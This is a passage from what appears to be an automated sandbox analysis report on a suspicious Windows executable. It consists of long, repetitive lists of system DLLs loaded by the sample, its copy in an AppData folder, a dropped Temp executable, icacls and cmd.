Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: ntvdm64.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: ntvdm64.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: ntvdm64.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: ntvdm64.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: ntvdm64.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: mpr.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: wininet.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: winmm.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: wldp.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: profapi.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: msasn1.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: gpapi.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: netutils.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: schannel.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: taskschd.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: xmllite.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: drprov.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: winsta.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: ntlanman.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: davclnt.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: davhlpr.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: wkscli.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: cscapi.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: browcli.dll
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: drprov.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: ntlanman.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: davclnt.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: davhlpr.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: cscapi.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: browcli.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: fwpuclnt.dll
